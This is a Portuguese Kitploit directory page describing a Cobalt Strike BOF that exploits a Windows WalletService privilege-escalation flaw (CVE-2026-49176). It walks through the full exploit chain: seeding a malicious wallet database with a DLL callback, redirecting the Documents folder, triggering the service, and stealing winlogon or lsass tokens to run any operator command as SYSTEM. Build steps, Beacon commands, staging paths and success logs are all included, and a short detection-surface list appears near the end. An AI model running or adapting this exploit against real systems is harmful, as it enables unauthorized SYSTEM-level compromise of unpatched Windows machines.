Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC autônoma + Cobalt Strike BOF (comando SYSTEM em sessão interativa) | Kitploit
Ferramentas/GitHubGitHub/777erp/cve-2026-49176_bof
Escalada de PrivilégiosExploraçãoPós-ExploraçãoRed TeamingDesenvolvimento de Payloads
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC autônoma + Cobalt Strike BOF (comando SYSTEM em sessão interativa)

Ver Repositório
41há 22 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49176 BOF do Cobalt Strike

Beacon Object File (BOF) do Cobalt Strike para escalada local de privilégios via WalletService do Windows (CVE-2026-49176, corrigida em julho de 2026).

A partir de um Beacon de integridade média (usuário padrão), esta ferramenta prepara um banco de dados ESE do Wallet malicioso, redireciona Documents, aciona o WalletService e executa uma linha de comando especificada pelo chamador como NT AUTHORITY\SYSTEM na área de trabalho interativa.

Árvore somente BOF.
PoC PowerShell autônomo original: DavidCarliez/CVE-2026-49176_LPE_POC. Mesma causa raiz da vulnerabilidade; entrega e lançamento do processo pós-SYSTEM diferentes.


Aviso legal

Apenas para pesquisa de segurança autorizada, educação e validação defensiva.


Vulnerabilidade (compartilhada com o PoC original)

O WalletService resolve FOLDERID_Documents enquanto personifica o chamador e, em seguida, reverte para LocalSystem antes de abrir:

root@kitploit:~
<Documents>\Wallet\wallet.db

Um usuário padrão pode semear esse banco de dados com um callback padrão definido pelo usuário do ESE (PATH\payload.dll!Export), apontar Documents para um diretório controlado e chamar WinRT WalletManager.RequestStoreAsync / GetItemsAsync para que o serviço carregue a DLL como SYSTEM.

Artigo: CVE-2026-49176 Desenvolvimento de Exploit: WalletService para SYSTEM


BOF vs PoC original — caminho de escalada de privilégios

Igual: como a execução de código como SYSTEM é obtida

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Diferente: processo SYSTEM interativo após o callback

O WalletService frequentemente usa um token SYSTEM filtrado (sem SeAssignPrimaryToken / SeImpersonate utilizáveis). CreateProcess* direto → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Recursos

  • Comando único do Beacon para qualquer comando/arquivo como SYSTEM na área de trabalho ativa
  • Cadeia completa em processo: preparar → semear → redirecionar → acionar → aguardar → restaurar Documents
  • Empacota wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
  • Spawn pós-SYSTEM multiestratégia + diagnósticos result.txt
  • Somente x64

Requisitos

ItemRequisito

Estrutura

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Compilação

root@kitploit:~
cd bof
build.bat
ComandoSaída
build.bat / build.bat bothDLL + broker + BOF x64
build.bat payloadsomente DLL + broker
build.bat cleanRemove artefatos
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Edite os caminhos VCVARS64 em build.bat se o VS não estiver no caminho padrão.
Flags críticas: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (segurança do linker do CS BOF).


Uso

Carregar

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Recarregue após cada recompilação.)

Comandos

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Sem aspas externas se o caminho não tiver espaços.
  • Menu opcional: Beacon → CVE-2026-49176 → Run command as SYSTEM...

Staging no alvo

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Empacotamento

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Saída esperada

Linha de tarefa

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Sucesso (ilustrativo)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= pode ser winlogon, services, lsass ou um caminho de broker.

Falhas comuns

Documents é restaurado mesmo em caso de falha quando o redirecionamento foi bem-sucedido.


Arquitetura

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Superfície de detecção

  • Alteração da pasta conhecida Documents
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + callback DLL
  • WalletService carregando DLL gravável pelo usuário
  • APIs OpenProcess / token contra winlogon/lsass/services
  • Serviços de curta duração CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW em sessões interativas

Limitações

  • Somente x64; WalletService sem patch é necessário
  • A API WinRT do Wallet pode estar indisponível/obsoleta em algumas compilações
  • O diretório de staging não é excluído automaticamente
  • ESE/WinRT são executados dentro do Beacon (risco de crash vs PoC original com isolamento de processo)

Relacionados

LinkDescrição
DavidCarliez/CVE-2026-49176_LPE_POCPoC LPE autônomo original (PoC de pesquisa upstream)
ArtigoArtigo de pesquisa original
Baixar ferramenta
EstágioPoC originalEste BOF
Semear banco ESEwallet_ese_seed.exeNo BOF Jet*A
Redirecionar Documentsdocuments_path.exeNo BOF SHGet/SetKnownFolderPath
Acionar WalletPowerShell WinRTNo BOF RoGetActivationFactory
DLL de callbackwallet_callback_shell.dllwallet_callback.dll
PoC originalEste BOF
Processo alvocmd.exe codificadoLinha de comando fornecida pelo operador
Método principalServiço temporário → shell_broker.exe → CreateProcessAsUserWRoubo de token de winlogon / services / lsass → gerar processo
FallbackNenhumSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beaconx64, integridade média (não elevado)
AlvoWalletService vulnerável (anterior ao patch de julho de 2026)
CSCobalt Strike 4.x com suporte a BOF
CompilaçãoVS 2019/2022 C++ + SDK do Windows 10 (esent.h, WinRT)
LogSignificado
JetAddColumn: -1003Problema de parâmetro do ESE
error=1314SYSTEM filtrado; é necessário roubo de token / broker
STEAL_FAIL error=5Não foi possível abrir o processo/token alvo
StartService error=32Violação de compartilhamento (atenuada via wrapper cmd)
detail=all_methodsTodas as estratégias pós-SYSTEM falharam
Linker Unknown symbol '??_C@_...'Flags de compilação BOF incorretas; recompile com build.bat